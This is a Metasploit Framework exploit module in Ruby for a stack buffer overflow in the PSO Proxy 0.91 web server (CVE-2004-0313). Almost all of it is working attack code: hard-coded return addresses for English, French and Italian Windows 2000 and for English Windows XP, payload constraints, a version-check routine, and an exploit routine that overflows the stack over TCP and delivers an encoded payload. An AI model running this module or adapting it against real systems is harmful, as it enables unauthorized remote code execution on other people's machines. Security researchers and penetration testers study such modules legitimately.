PSOProxy 0.91 - Stack Buffer Overflow (Metasploit)

##
# $Id: psoproxy91_overflow.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##



class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'PSO Proxy v0.91 Stack Buffer Overflow',
			'Description'    => %q{
				This module exploits a buffer overflow in the PSO Proxy v0.91 web server.
				If a client sends an excessively long string the stack is overwritten.
			},
			'Author'         => 'Patrick Webster <patrick@aushack.com>',
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9262 $',
			'References'     =>
				[
					[ 'CVE', '2004-0313' ],
					[ 'OSVDB', '4028' ],
					[ 'URL', 'http://www.milw0rm.com/exploits/156' ],
					[ 'BID', '9706' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 370,
					'BadChars' => "\x00\x0a\x0d\x20",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
				# Patrick - Tested OK 2007/09/06 against w2ksp0, w2ksp4, xpsp0,xpsp2 en.
					[ 'Windows 2000 Pro SP0-4 English',  { 'Ret' => 0x75023112 } ], # call ecx ws2help.dll
					[ 'Windows 2000 Pro SP0-4 French',   { 'Ret' => 0x74fa3112 } ], # call ecx ws2help.dll
					[ 'Windows 2000 Pro SP0-4 Italian',  { 'Ret' => 0x74fd3112 } ], # call ecx ws2help.dll
					[ 'Windows XP Pro SP0/1 English',    { 'Ret' => 0x71aa396d } ], # call ecx ws2help.dll
					[ 'Windows XP Pro SP2 English',	     { 'Ret' => 0x71aa3de3 } ], # call ecx ws2help.dll
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Feb 20 2004'
			))

		register_options(
			[
				Opt::RPORT(8080),
			], self.class)
	end

	def check
		connect
		sock.put("GET / HTTP/1.0\r\n\r\n")
		banner = sock.get(-1,3)
		if (banner =~ /PSO Proxy 0\.9/)
			return Exploit::CheckCode::Vulnerable
		end
		return Exploit::CheckCode::Safe
	end

	def exploit
		connect

		exploit = rand_text_alphanumeric(1024, payload_badchars)
		exploit += [target['Ret']].pack('V') + payload.encoded

		sock.put(exploit + "\r\n\r\n")

		disconnect
		handler
	end
end